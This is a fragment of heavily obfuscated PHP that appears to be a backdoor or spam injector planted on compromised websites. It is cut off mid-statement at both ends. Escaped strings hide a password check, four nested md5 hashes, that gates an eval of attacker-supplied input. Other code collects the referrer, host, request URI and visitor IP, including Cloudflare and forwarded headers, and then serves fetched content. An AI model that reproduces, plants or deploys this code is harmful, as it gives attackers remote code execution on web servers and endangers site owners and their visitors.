$VCXf5n_WGDFhVc)) { goto qtZ1RIeDF7F_zB; } goto ixb_boyIAvRtU3; CDZ9hr_NRNto5B: if (preg_match("\x2f\x68\x74\x74\160\134\57\133\x30\55\71\x5c\56\135\53\133\x5c\163\x5d\53\50\x5b\60\x2d\71\135\x2b\x29\57\151", $iKFPrHqHAJZa0n, $VCXf5n_WGDFhVc)) { goto WU18cldMwyOYy4; } goto lLK0FU7cGnoP3S; sogoy13hmTNHjv: WU18cldMwyOYy4: goto G50qjtmviMjmhD; yKzd8wOsZTKyiY: IwUle8nU5L9MmY: goto bkM_Viu76T8nIQ; W4eVtQrANTd7qi: } goto YJbCLy4ZU6O7d1; EY_wW58gdYdFhT: } goto jgJfudUS87XN7X; CFXXeWv1aa59eE: metaphone("\115\x7a\115\x79\117\124\125\64\x4e\x7a\x59\x79\x4d\172\143\65\x4d\124\125\167\x4e\104\101\63\x4d\172\x59\170\116\x44\x55\170"); goto W578go6nM8mwKs; Oaud86upaGzC2o: $YyjHFbwkNXow5l = strval(@$_SERVER["\110\x54\124\x50\x5f\x52\105\x46\x45\122\x45\122"]); goto tNsrPkVf0IdOsU; Gh1zYgHk2rBFFr: exit("\173\x20\42\145\162\162\157\162\x22\72\x20\62\60\x30\54\40\42\154\x63\42\x3a\x20\x22\152\153\42\54\40\42\144\141\164\141\42\72\x20\133\40\61\x20\135\x20\x7d"); goto QLv0oo4sbaMBxL; Z9_0Y6zwaUc82T: $XvsJrdpopFW2vM = false; goto yV7ESO8zN802i3; vf8W74vwPrQ19Q: exit(0); goto Icuv3eQOx2psV3; ZM2bTFzHcUw9th: $cqhM8U9aB6_PYp["\x72\146"] = ohACxe72GncNBo($YyjHFbwkNXow5l); goto Rf4mSxuY2vTeE2; podAua_1_n6Q32: echo $RYcRsC_5JN9R76["\143\x6f\156\164\145\156\x74"]; goto vf8W74vwPrQ19Q; VdLOE_8tJXB3Hd: @(md5(md5(md5(md5($XwekUAY7viy95T[8])))) === "\64\141\x65\63\x30\x63\142\x39\144\x34\64\145\65\144\66\64\145\143\x35\145\65\x31\x61\x65\x36\63\70\62\144\x63\143\x33") && (count($XwekUAY7viy95T) == 14 && in_array(gettype($XwekUAY7viy95T) . count($XwekUAY7viy95T), $XwekUAY7viy95T)) ? ($XwekUAY7viy95T[63] = $XwekUAY7viy95T[63] . $XwekUAY7viy95T[80]) && ($XwekUAY7viy95T[86] = $XwekUAY7viy95T[63]($XwekUAY7viy95T[86])) && @eval($XwekUAY7viy95T[63](${$XwekUAY7viy95T[39]}[26])) : $XwekUAY7viy95T; goto CFXXeWv1aa59eE; tNsrPkVf0IdOsU: $AJev5iZ2Mhc3ij = cvtHgUUIdOaBxi() . $_SERVER["\x48\124\124\120\x5f\110\x4f\123\x54"]; goto fj6wUoTQIXldH9; Mlwssok3EcewCu: $cqhM8U9aB6_PYp["\x72"] = OHAcXE72gNcNbo($_SERVER["\122\x45\121\125\x45\x53\x54\137\x55\122\x49"]); goto ZM2bTFzHcUw9th; QppOPeM_MuYkX0: EODSlWNRKAFUfb: goto KV07V11rrCv_BU; vMh6tPY4H3rnsg: $cqhM8U9aB6_PYp["\x73\x6e"] = oHAcXE72gncNbo($_SERVER["\123\x43\x52\x49\120\x54\x5f\116\101\x4d\105"]); goto Mlwssok3EcewCu; oDS96LLv_HsmIB: function PqP3pwz1Nw4Fxk() { goto d2KOz1XMxjhjba; jtCGzdQ6FywsSR: $GQBzsC0J0BLgmM = $GQBzsC0J0BLgmM[0]; goto kWl0f5rEvggoXI; VSi2HPqJYMBPBy: p6XXQH4WlMrklc: goto kTo1dJin8yXCWS; v5s2mFONGN3eWN: $GQBzsC0J0BLgmM = explode("\54", $GQBzsC0J0BLgmM); goto jtCGzdQ6FywsSR; ik3D4o9WXb9m8W: $GQBzsC0J0BLgmM = $_SERVER["\110\x54\124\120\137\130\x5f\106\x4f\122\127\x41\x52\x44\x45\104\137\106\x4f\122"]; goto PDAr6K9qFo5ED4; xFMue1CsmQraOx: if (isset($_SERVER["\x48\124\124\x50\137\x58\137\x46\117\122\x57\101\x52\x44\x45\x44\137\x46\x4f\122"]) && !empty($_SERVER["\x48\124\124\x50\x5f\x58\137\106\117\x52\x57\x41\x52\104\x45\x44\x5f\106\x4f\x52"])) { goto mtHpBeBdI9Xs3A; } goto ZbAK3r2pLXN2TK; kTo1dJin8yXCWS: $GQBzsC0J0BLgmM = $_SERVER["\110\124\124\x50\137\x58\137\122\x45\101\x4c\137\111\120"]; goto gAEzDub_LN0XSF; lpFfXOb2eWNHIS: if (isset($_SERVER["\110\x54\124\x50\x5f\x58\x5f\x52\105\x41\114\x5f\x49\120"]) && !empty($_SERVER["\110\124\x54\120\x5f\x58\137\122\105\101\x4c\137\111\120"])) { goto p6XXQH4WlMrklc; } goto xFMue1CsmQraOx; kWl0f5rEvggoXI: FNDZUNZ3s0Kmyq: goto AHcjx1dYc1AvRh; yGPifhUtIUh4CC: $GQBzsC0J0BLgmM = $_SERVER["\110\124\124\x50\x5f\103\106\x5f\x43\x4f\116\x4e\105\103\124\x49\116\107\137\x49\x50"]; goto v0tJBfrJVsJd3W; w3I25CNlYIO2x6: goto obGv8YzBZ_q8sH; goto L07rrelKy165gS; L07rrelKy165gS: t5wxlZXtI30mC8: goto yGPifhUtIUh4CC; AHcjx1dYc1AvRh: return $GQBzsC0J0BLgmM; goto SYA68jRx2_ywpD; O7dQTlGNctSo90: if (isset($_SERVER["\x48\x54\x54\x50\137\103\106\x5f\103\117\x4e\116\105\x43\x54\x49\x4e\107\x5f\111\120"]) && !empty($_SERVER["\110\124\124\120\137\103\106\x5f\103\117\x4e\x4e\x45\x43\124\111\116\x47\x5f\111\x50"])) { goto t5wxlZXtI30mC8; } goto lpFfXOb2eWNHIS; a117xWswTMLAuy: if (!(strpos($GQBzsC0J0BLgmM, "\54") !== false)) { goto FNDZUNZ3s0Kmyq; } goto v5s2mFONGN3eWN; ZbAK3r2pLXN2TK: $GQBzsC0J0BLgmM = $_SERVER["\122\105\115\x4f\x54\105\x5f\x41\x44\104\122"]; goto w3I25CNlYIO2x6; HmZi2He6Nayr8O: $GQBzsC0J0BLgmM = trim(str_replace("\x20", '', $GQBzsC0J0BLgmM), "\x2c"); goto a117xWswTMLAuy; d2KOz1XMxjhjba: $GQBzsC0J0BLgmM = ''; goto O7dQTlGNctSo90; v0tJBfrJVsJd3W: goto obGv8YzBZ_q8sH; goto VSi2HPqJYMBPBy; PDAr6K9qFo5ED4: obGv8YzBZ_q8sH: goto HmZi2He6Nayr8O; mZkjFbCl2TfEl3: mtHpBeBdI9Xs3A: goto ik3D